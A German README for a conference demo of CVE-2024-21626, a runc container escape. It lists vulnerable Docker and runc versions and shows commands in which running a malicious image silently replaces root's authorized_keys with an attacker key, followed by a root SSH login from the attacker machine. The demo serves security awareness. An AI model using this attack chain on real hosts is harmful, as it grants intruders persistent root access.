CVE-2024-21626-demo

Demo für den Lightning Talk beim Container Runtime Meetup #5.

Ziel ist es, gemäß öffentlich bekannter Informationen auf die Gefahr des Angriffs aufmerksam zu machen; Missbrauch ist strengstens untersagt.

Folien

Container Runtime Meetup #5 〜Kannst du diesem Image wirklich vertrauen?〜 Übernehme den Root-Zugriff auf den Host mit CVE-2024-21626

Anmelden am victim-server

Maschine, die in der ssh_config des Demo-Laptops als victim-server registriert ist.

ssh victim-server

Versionsinformationen als Voraussetzung für einen erfolgreichen Angriff:

ubuntu@victim-server:$ docker --version
Docker version 20.10.25+dfsg1, build b82b9f3

ubuntu@victim-server:$ runc --version
runc version 1.1.10+ds1
commit: 1.1.10+ds1-1
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4

Anmelden am attacker-server

Analog:

ssh attacker-server

Szenario

1. [victim-server] Versehentliches Abrufen, Bauen und Ausführen eines bösartigen Docker-Images

ubuntu@victim-server:~$ git clone [email protected]:laysakura/CVE-2024-21626-demo.git
ubuntu@victim-server:~$ cd CVE-2024-21626-demo/
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker build -t myimage .
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker run -it myimage

2. [victim-server] /root/.ssh/authorized_keys wurde unbemerkt durch den öffentlichen Schlüssel des Angreifers ersetzt

Da dies nicht beabsichtigt ist, wird hier nichts unternommen; es wird lediglich der Befehl zur Überprüfung des Zustands gezeigt.

ubuntu@victim-server:~$ sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPHHGSytV6bL1ryaEKE9XNWN23piXdzsI3Rzxe20IF6 ubuntu@attacker-server

3. [attacker-server] Root-Login am victim-server

attacker@attacker-server:~$ ssh -i .ssh/id_ed25519 root@victim-server

root@victim-server:~# id
uid=0(root) gid=0(root) groups=0(root)

Referenzen

• https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
• https://github.com/NitroCao/CVE-2024-21626